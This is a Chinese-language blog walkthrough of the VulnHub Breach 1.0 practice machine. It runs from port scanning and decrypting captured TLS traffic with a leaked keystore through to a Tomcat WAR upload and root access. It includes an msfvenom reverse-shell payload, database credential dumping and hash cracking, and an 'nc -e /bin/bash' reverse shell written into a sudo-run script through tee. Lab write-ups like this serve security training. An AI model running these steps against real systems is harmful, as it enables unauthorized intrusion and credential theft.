VulnHub breach1.0

配置靶机网络
作者提示:The VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.
意思是靶机已经配置了静态IP地址为192.168.110.140,所以为了和靶机通行需要把kali主机的网卡设置一下。
这里在virtualbox中可以配置一块新的网卡,为了在同一地址段,设置如下。

然后让靶机和kali主机通过这个网卡连接。使用host-only的方式。

信息收集
端口扫描
先扫描下端口,习惯性的采用全面扫描的方式
nmap -A -T4 -v 192.168.110.140

这里发现打开了相当多的端口,大概是有防止探测端口的策略
使用秘密扫描能绕过这个策略。

通过扫描结果,这里大概了解到打开了80端口的web服务,在8443端口上有https加密之类的服务

网站信息收集
打开网站,首页没有什么信息

单击图片,会跳转到一个有更多功能的页面initech.html

这里可以先用nikto简单扫描一下
mikto -host http://192.168.110.140

这里发现一个敏感目录images可以看看
http://192.168.110.140/images/

分别打开这些图片看看

这里有张有趣的图片bill.png ,上面的意思是查看一下源码。看来这是一个提示。

查看首页的源代码,发现一串可疑的下注释数据

把这串字符拿去base64解码,需要解两次

最终获得pgibbons:damnitfeel$goodtobeagang$ta
看上去像一个帐号密码。

查找网站漏洞
找一些网站是否存在一些漏洞可以利用
查看一下initech.html页面的源码,也有个小提示

              I'm sitting on a beach reading your email | 我坐在沙滩上看你的邮件
点击Employee portal,会进入一个impresscms的网页,输入我们前面获取的用户名密码

登录后发现Inbox似乎有特殊内容。

inbox里面确实存放的是邮件,我们现在使用的用户是pgibbons

第1封邮件,是bill给peter的,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全。
第2封邮件,是Michael给Peter的,主要内容:Michael采购了IDS/IPS。(扫描端口遇到障碍估计就是这个原因)
第3封邮件比较关键,看不懂,反正就是说感谢购买什么秘密证书,有个ssl证书请不要泄漏,然后猪队友所保存了文件在 192.168.110.140/.keystoreBob 中

访问http://192.168.110.140/.keystore下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式。

查看其他地方,看有什么收获
点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接

点击完上图的链接,跳转到如下界面,标题SSL implementation test capture,翻译过来就是SSL实施测试捕获。大概是测试ssl服务用的。里面的内容大概就是peter的抱怨,这个ssl是什么呀,难道我们被加密了吗。

其中“They told me the alias, storepassword and keypassword are all set to 'tomcat'. ”表示别名、存储密码和密钥密码都设置为“tomcat”
其中可以看到一个名为:_SSL_test_phase1.pcap的Wireshark流量包文件,点击即可下载


对于cms漏洞的利用,这里有个sql注入漏洞,然而我打开漏洞的页面却被重定向了,看别人似乎也用不了这个cms漏洞。

wireshark分析包
使用wireshark打开下载的_SSL_test_phase1.pcap文件

发现其中确实存在TLS加密协议,最新版wireshark已经 ssl 改为 tls,其实ssl/tls都已统称通信加密协议
查看keystore这个密钥库里面的所有证书 。密钥库口令输入tomcat

keytool -list -keystore keystore

从密钥库导出.p12证书
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

将.p12证书导入Wireshark

配置如下:

192.168.110.140 8443 http 证书存放路径 tomcat(这里8443端口我们有使用nmap探测出来,其次查看加密前的文件也会发现数据流向这个端口)

导入证书后,https流量已经被解密,查看每个http流量包

找到后台页面
在解密的http流量中,发现如下敏感目录

访问这个目录,发现建立连接失败
https://192.168.110.140:8443/_M@nag3Me/html

使用burp代理,其中burp为放包状态

登录后发现需要输入用户名密码

回头继续看其它的http流量,发现其中暴露了一个basic认证过程

wireshark提供了解密:tomcat:Tt\5D8F(#!*u=G)4m7zB
使用这个帐号密码登录刚刚的页面。

获取shell
使用菜刀失败
在这个页面具有上传文件的功能

限制了上传文件的后缀

将文件通过zip打包后,修改后缀名为.war

感觉能连接到这个文件

使用菜刀出现如下报错

百度了一下,可能原因为:https通过TSLv1和TSLv1.2协议通信。
假如服务器端设置是TSLv1.2,而客服端是TSLv1, 访问就会出现Remote host closed connection during handshake的错误.

使用msf
使用msf生成一个反弹shell的payload
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.1 lport=4444 -f war -o shell.war

配置payload的处理器
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.1
set lport 4444

运行

成功拿到shell

提权
获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"

查看passwd文件,看下有什么用户

切换到网站根目录,网页部署目录/var/www/5446/,查看当前文件下的文件

两个php文件内容相同,在其中找到了mysql的配置,获取到了root用户空密码的信息

使用root用户连接mysql,查看数据库有哪些

切换到mysql数据库,查看这个数据库中的表

查询表中的列
show columns from user;

查找关键字段
select user,password from user;

得到一条有用的数据,使用md5解密密码
| milton | 6450d89bd3aff1d893b85d3ad65d2ec2

获取密码thelaststraw
切换到我们刚获取的新用户

在新用户milton的家目录下寻找信息。但似乎没有关键信息

查看有没有隐藏文件

查看保存历史命令输入的文件,发现milton有切换到blumbergh用户的记录


尝试从图片中收集可能的信息,使用strings打印各图片其中的可打印字符,保存在文件中

分析保存的这些字符,找到一个可能的密码coffeestains。(只有这个是唯一的单词)

使用coffeestains尝试登录blumbergh用户

在blumbergh家目录下查看所有文件

查看执行过的命令

中间出现了一个脚本,查看这个脚本文件

这段脚本的意思是切换到/var/lib/tomcat6/webapps目录下,然后寻找swingline目录下的文件,并清除。xargs 可以将管道或标准输入(stdin)数据转换成命令行参数。
查看blumbergh用户可以sudo执行的命令,发现可以通过sudo执行root权限的tee命令和tidyuo脚本


tee命令用于读取标准输入的数据,并将其内容输出成文件。
查看这个脚本文件的权限,只能由root用户写

提权过程
先写入反弹shell命令到文件中
echo "nc 192.168.110.1 5555 -e /bin/bash" >> shell.txt

然后把反弹shell命令通过sudo执行tee命令写入到tidyuo.sh脚本中
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

攻击机将提前开启监听

获取flag

总结:这个靶机的难度偏高一点。
————————————————
版权声明:本文为CSDN博主「jelly0930」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/xy_sunny/article/details/107301345

上一篇:SAP CRM服务订单状态和SAP S/4生产订单状态


下一篇:《Linux/UNIX OpenLDAP实战指南》——2.7 OpenLDAP用户以及与用户组相关的配置